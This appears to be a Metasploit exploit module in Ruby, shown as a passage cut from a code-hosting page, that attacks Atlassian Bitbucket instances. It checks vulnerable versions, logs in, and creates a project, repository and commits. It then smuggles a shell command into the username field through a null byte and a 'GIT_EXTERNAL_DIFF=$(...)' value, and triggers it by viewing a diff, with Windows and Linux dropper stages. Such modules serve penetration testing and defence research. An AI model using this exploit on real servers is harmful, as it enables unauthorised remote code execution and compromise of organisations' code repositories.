OptString.new('TARGETURI', [ true, 'The URI of the Bitbucket instance', '/'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'login'),
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
return CheckCode::Unknown('Failed to retrieve a response from the target') unless res
|
||||
return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket')
|
||||
|
||||
nokogiri_data = res.get_html_document
|
||||
footer = nokogiri_data&.at('footer')
|
||||
return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer
|
||||
|
||||
version_info = footer.at('span')&.children&.text
|
||||
return CheckCode::Detected('Failed to find version information in footer section') unless version_info
|
||||
|
||||
vers_matches = version_info.match(/v(\d+\.\d+\.\d+)/)
|
||||
return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1
|
||||
|
||||
version_str = vers_matches[1]
|
||||
|
||||
vprint_status("Found version #{version_str} of Bitbucket")
|
||||
major, minor, revision = version_str.split('.')
|
||||
rev_num = revision.to_i
|
||||
|
||||
case major
|
||||
when '7'
|
||||
case minor
|
||||
when '0', '1', '2', '3', '4', '5'
|
||||
return CheckCode::Appears
|
||||
when '6'
|
||||
return CheckCode::Appears if rev_num >= 0 && rev_num <= 18
|
||||
when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16'
|
||||
return CheckCode::Appears
|
||||
when '17'
|
||||
return CheckCode::Appears if rev_num >= 0 && rev_num <= 11
|
||||
when '18', '19', '20'
|
||||
return CheckCode::Appears
|
||||
when '21'
|
||||
return CheckCode::Appears if rev_num >= 0 && rev_num <= 5
|
||||
end
|
||||
when '8'
|
||||
print_status('Versions 8.* are vulnerable only if the mesh setting is disabled')
|
||||
case minor
|
||||
when '0'
|
||||
return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
|
||||
when '1'
|
||||
return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
|
||||
when '2'
|
||||
return CheckCode::Appears if rev_num >= 0 && rev_num <= 3
|
||||
when '3'
|
||||
return CheckCode::Appears if rev_num >= 0 && rev_num <= 2
|
||||
when '4'
|
||||
return CheckCode::Appears if rev_num == 0 || rev_num == 1
|
||||
end
|
||||
end
|
||||
|
||||
CheckCode::Detected
|
||||
end
|
||||
|
||||
def default_branch
|
||||
@default_branch ||= Rex::Text.rand_text_alpha(5..9)
|
||||
end
|
||||
|
||||
def uname_payload(cmd)
|
||||
"#{datastore['USERNAME']}\u0000GIT_EXTERNAL_DIFF=$(#{cmd})"
|
||||
end
|
||||
|
||||
def log_in(username, password)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'login'),
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login')
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'j_username' => username,
|
||||
'j_password' => password,
|
||||
'_atl_remember_me' => 'on',
|
||||
'submit' => 'Log in'
|
||||
}
|
||||
)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Didn\'t retrieve a response') unless res
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'projects'),
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res
|
||||
unless res.body.include?('Logged in')
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials')
|
||||
end
|
||||
end
|
||||
|
||||
def create_project
|
||||
proj_uri = normalize_uri(target_uri.path, 'projects?create')
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => proj_uri,
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Unable to access project creation page') unless res&.body&.include?('Create project')
|
||||
|
||||
vprint_status('Retrieving security token')
|
||||
html_doc = res.get_html_document
|
||||
token_data = html_doc.at('div//input[@name="atl_token"]')
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to find element containing \'atl_token\'') unless token_data
|
||||
|
||||
@token = token_data['value']
|
||||
fail_with(Failure::UnexpectedReply, 'No token found') if @token.blank?
|
||||
|
||||
project_name = Rex::Text.rand_text_alpha(5..9)
|
||||
project_key = Rex::Text.rand_text_alpha(5..9).upcase
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => proj_uri,
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'name' => project_name,
|
||||
'key' => project_key,
|
||||
'submit' => 'Create project',
|
||||
'atl_token' => @token
|
||||
}
|
||||
)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to receive response from project creation') unless res
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to create project') unless res['Location']&.include?(project_key)
|
||||
|
||||
print_status('Project creation was successful')
|
||||
[ project_name, project_key ]
|
||||
end
|
||||
|
||||
def create_repository
|
||||
repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos?create')
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => repo_uri,
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to access repo creation page') unless res
|
||||
|
||||
html_doc = res.get_html_document
|
||||
|
||||
dropdown_data = html_doc.at('li[@class="user-dropdown"]')
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to find dropdown to retrieve email address') if dropdown_data.blank?
|
||||
email = dropdown_data&.at('span')&.[]('data-emailaddress')
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to retrieve email address from response') if email.blank?
|
||||
|
||||
repo_name = Rex::Text.rand_text_alpha(5..9)
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => repo_uri,
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'name' => repo_name,
|
||||
'defaultBranchId' => default_branch,
|
||||
'description' => '',
|
||||
'scmId' => 'git',
|
||||
'forkable' => 'false',
|
||||
'atl_token' => @token,
|
||||
'submit' => 'Create repository'
|
||||
}
|
||||
)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'No response received from repo creation') unless res
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'keep_cookies' => true,
|
||||
'uri' => normalize_uri(target_uri.path, 'projects', @project_key, 'repos', repo_name, 'browse')
|
||||
)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Repository was not created') if res&.code == 404
|
||||
print_good("Successfully created repository '#{repo_name}'")
|
||||
|
||||
[ email, repo_name ]
|
||||
end
|
||||
|
||||
def generate_repo_objects(email, repo_file_data = [], parent_object = nil)
|
||||
txt_data = Rex::Text.rand_text_alpha(5..20)
|
||||
blob_object = GitObject.build_blob_object(txt_data)
|
||||
file_name = "#{Rex::Text.rand_text_alpha(4..10)}.txt"
|
||||
|
||||
file_data = {
|
||||
mode: '100755',
|
||||
file_name: file_name,
|
||||
sha1: blob_object.sha1
|
||||
}
|
||||
|
||||
tree_data = (repo_file_data.empty? ? [ file_data ] : [ file_data, repo_file_data ])
|
||||
tree_obj = GitObject.build_tree_object(tree_data)
|
||||
commit_obj = GitObject.build_commit_object({
|
||||
tree_sha1: tree_obj.sha1,
|
||||
email: email,
|
||||
message: Rex::Text.rand_text_alpha(4..30),
|
||||
parent_sha1: (parent_object.nil? ? nil : parent_object.sha1)
|
||||
})
|
||||
|
||||
{
|
||||
objects: [ commit_obj, tree_obj, blob_object ],
|
||||
file_data: file_data
|
||||
}
|
||||
end
|
||||
|
||||
# create two files in two separate commits in order
|
||||
# to view a diff and get code execution
|
||||
def create_commits(email)
|
||||
init_objects = generate_repo_objects(email)
|
||||
commit_obj = init_objects[:objects].first
|
||||
|
||||
refs = {
|
||||
'HEAD' => "refs/heads/#{default_branch}",
|
||||
"refs/heads/#{default_branch}" => commit_obj.sha1
|
||||
}
|
||||
|
||||
final_objects = generate_repo_objects(email, init_objects[:file_data], commit_obj)
|
||||
repo_objects = final_objects[:objects] + init_objects[:objects]
|
||||
new_commit = final_objects[:objects].first
|
||||
new_file = final_objects[:file_data][:file_name]
|
||||
|
||||
git_uri = normalize_uri(target_uri.path, "scm/#{@project_key}/#{@repo_name}.git")
|
||||
res = send_receive_pack_request(
|
||||
git_uri,
|
||||
refs['HEAD'],
|
||||
repo_objects,
|
||||
'0' * 40 # no commits should exist yet, so no branch tip in repo yet
|
||||
)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to push commit to repository') unless res
|
||||
fail_with(Failure::UnexpectedReply, 'Git responded with an error') if res.body.include?('error:')
|
||||
fail_with(Failure::UnexpectedReply, 'Git push failed') unless res.body.include?('unpack ok')
|
||||
|
||||
[ new_commit.sha1, commit_obj.sha1, new_file ]
|
||||
end
|
||||
|
||||
def get_user_id(curr_uname)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'admin/users/view'),
|
||||
'vars_get' => { 'name' => curr_uname }
|
||||
)
|
||||
|
||||
matched_id = res.get_html_document&.xpath("//script[contains(text(), '\"name\":\"#{curr_uname}\"')]")&.first&.text&.match(/"id":(\d+)/)
|
||||
fail_with(Failure::UnexpectedReply, 'No matches found for id of user') unless matched_id && matched_id.length > 1
|
||||
|
||||
matched_id[1]
|
||||
end
|
||||
|
||||
def change_username(curr_uname, new_uname)
|
||||
@user_id ||= get_user_id(curr_uname)
|
||||
|
||||
headers = {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'X-AUSERID' => @user_id,
|
||||
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"
|
||||
}
|
||||
|
||||
vars = {
|
||||
'name' => curr_uname,
|
||||
'newName' => new_uname
|
||||
}.to_json
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/admin/users/rename'),
|
||||
'ctype' => 'application/json',
|
||||
'keep_cookies' => true,
|
||||
'headers' => headers,
|
||||
'data' => vars
|
||||
)
|
||||
|
||||
unless res
|
||||
print_bad('Did not receive a response to the user name change request')
|
||||
return false
|
||||
end
|
||||
|
||||
unless res.body.include?(new_uname) || res.body.include?('GIT_EXTERNAL_DIFF')
|
||||
print_bad('User name change was unsuccessful')
|
||||
return false
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
def commit_uri(project_key, repo_name, commit_sha)
|
||||
normalize_uri(
|
||||
target_uri.path,
|
||||
'rest/api/latest/projects',
|
||||
project_key,
|
||||
'repos',
|
||||
repo_name,
|
||||
'commits',
|
||||
commit_sha
|
||||
)
|
||||
end
|
||||
|
||||
def view_commit_diff(latest_commit_sha, first_commit_sha, diff_file)
|
||||
commit_diff_uri = normalize_uri(
|
||||
commit_uri(@project_key, @repo_name, latest_commit_sha),
|
||||
'diff',
|
||||
diff_file
|
||||
)
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => commit_diff_uri,
|
||||
'keep_cookies' => true,
|
||||
'vars_get' => { 'since' => first_commit_sha }
|
||||
)
|
||||
end
|
||||
|
||||
def delete_repository(username)
|
||||
vprint_status("Attempting to delete repository '#{@repo_name}'")
|
||||
repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase)
|
||||
res = send_request_cgi(
|
||||
'method' => 'DELETE',
|
||||
'uri' => repo_uri,
|
||||
'keep_cookies' => true,
|
||||
'headers' => {
|
||||
'X-AUSERNAME' => username,
|
||||
'X-AUSERID' => @user_id,
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
|
||||
'ctype' => 'application/json',
|
||||
'Accept' => 'application/json, text/javascript'
|
||||
}
|
||||
)
|
||||
|
||||
unless res&.body&.include?('scheduled for deletion')
|
||||
print_warning('Failed to delete repository')
|
||||
return
|
||||
end
|
||||
|
||||
print_good('Repository has been deleted')
|
||||
end
|
||||
|
||||
def delete_project(username)
|
||||
vprint_status("Now attempting to delete project '#{@project_name}'")
|
||||
send_request_cgi( # fails to return a response
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
|
||||
'keep_cookies' => true,
|
||||
'headers' => {
|
||||
'X-AUSERNAME' => username,
|
||||
'X-AUSERID' => @user_id,
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
|
||||
'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings",
|
||||
'ctype' => 'application/json',
|
||||
'Accept' => 'application/json, text/javascript, */*; q=0.01',
|
||||
'Accept-Encoding' => 'gzip, deflate'
|
||||
}
|
||||
)
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
unless res&.code == 404
|
||||
print_warning('Failed to delete project')
|
||||
return
|
||||
end
|
||||
|
||||
print_good('Project has been deleted')
|
||||
end
|
||||
|
||||
def get_repo
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
unless res
|
||||
print_status('Couldn\'t access repos page. Will create repo')
|
||||
return []
|
||||
end
|
||||
|
||||
json_data = JSON.parse(res.body)
|
||||
unless json_data && json_data['size'] >= 1
|
||||
print_status('No accessible repositories. Will attempt to create a repo')
|
||||
return []
|
||||
end
|
||||
|
||||
repo_data = json_data['values'].first
|
||||
repo_name = repo_data['slug']
|
||||
project_key = repo_data['project']['key']
|
||||
|
||||
unless repo_name && project_key
|
||||
print_status('Could not find repo name and key. Creating repo')
|
||||
return []
|
||||
end
|
||||
|
||||
[ repo_name, project_key ]
|
||||
end
|
||||
|
||||
def get_repo_info
|
||||
unless @project_name && @project_key
|
||||
print_status('Failed to find valid project information. Will attempt to create repo')
|
||||
return nil
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('projects', @project_key, 'repos', @project_name, 'commits'),
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
unless res
|
||||
print_status("Failed to access existing repository #{@project_name}")
|
||||
return nil
|
||||
end
|
||||
|
||||
html_doc = res.get_html_document
|
||||
commit_data = html_doc.search('a[@class="commitid"]')
|
||||
unless commit_data && commit_data.length > 1
|
||||
print_status('No commits found for existing repo')
|
||||
return nil
|
||||
end
|
||||
|
||||
latest_commit = commit_data[0]['data-commitid']
|
||||
prev_commit = commit_data[1]['data-commitid']
|
||||
|
||||
file_uri = normalize_uri(commit_uri(@project_key, @project_name, latest_commit), 'changes')
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => file_uri,
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
return nil unless res
|
||||
|
||||
json = JSON.parse(res.body)
|
||||
return nil unless json['values']
|
||||
|
||||
path = json['values']&.first&.dig('path')
|
||||
return nil unless path
|
||||
|
||||
[ latest_commit, prev_commit, path['name'] ]
|
||||
end
|
||||
|
||||
def exploit
|
||||
@use_public_repo = true
|
||||
datastore['GIT_USERNAME'] = datastore['USERNAME']
|
||||
datastore['GIT_PASSWORD'] = datastore['PASSWORD']
|
||||
|
||||
if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?
|
||||
fail_with(Failure::BadConfig, 'No credentials to log in with.')
|
||||
end
|
||||
|
||||
log_in(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
@curr_uname = datastore['USERNAME']
|
||||
|
||||
@project_name, @project_key = get_repo
|
||||
@repo_name = @project_name
|
||||
@latest_commit, @first_commit, @diff_file = get_repo_info
|
||||
unless @latest_commit && @first_commit && @diff_file
|
||||
@use_public_repo = false
|
||||
@project_name, @project_key = create_project
|
||||
email, @repo_name = create_repository
|
||||
@latest_commit, @first_commit, @diff_file = create_commits(email)
|
||||
print_good("Commits added: #{@first_commit}, #{@latest_commit}")
|
||||
end
|
||||
|
||||
print_status('Sending payload')
|
||||
case target['Type']
|
||||
when :win_dropper
|
||||
execute_cmdstager(linemax: target['MaxLineChars'] - uname_payload('cmd.exe /c ').length, noconcat: true, temp: '.')
|
||||
when :linux_dropper
|
||||
execute_cmdstager(linemax: target['MaxLineChars'], noconcat: true)
|
||||
when :unix_cmd
|
||||
execute_command(payload.encoded.strip)
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup
|
||||
if @curr_uname != datastore['USERNAME']
|
||||
print_status("Changing user name back to '#{datastore['USERNAME']}'")
|
||||
|
||||
if change_username(@curr_uname, datastore['USERNAME'])
|
||||
@curr_uname = datastore['USERNAME']
|
||||
else
|
||||
print_warning('User name is still set to payload.' \
|
||||
"Please manually change the user name back to #{datastore['USERNAME']}")
|
||||
end
|
||||
end
|
||||
|
||||
unless @use_public_repo
|
||||
delete_repository(@curr_uname) if @repo_name
|
||||
delete_project(@curr_uname) if @project_name
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
if target['Platform'] == 'win'
|
||||
curr_payload = (cmd.ends_with?('.exe') ? uname_payload("cmd.exe /c #{cmd}") : uname_payload(cmd))
|
||||
else
|
||||
curr_payload = uname_payload(cmd)
|
||||
end
|
||||
|
||||
unless change_username(@curr_uname, curr_payload)
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to change user name to payload')
|
||||
end
|
||||
|
||||
view_commit_diff(@latest_commit, @first_commit, @diff_file)
|
||||
@curr_uname = curr_payload
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user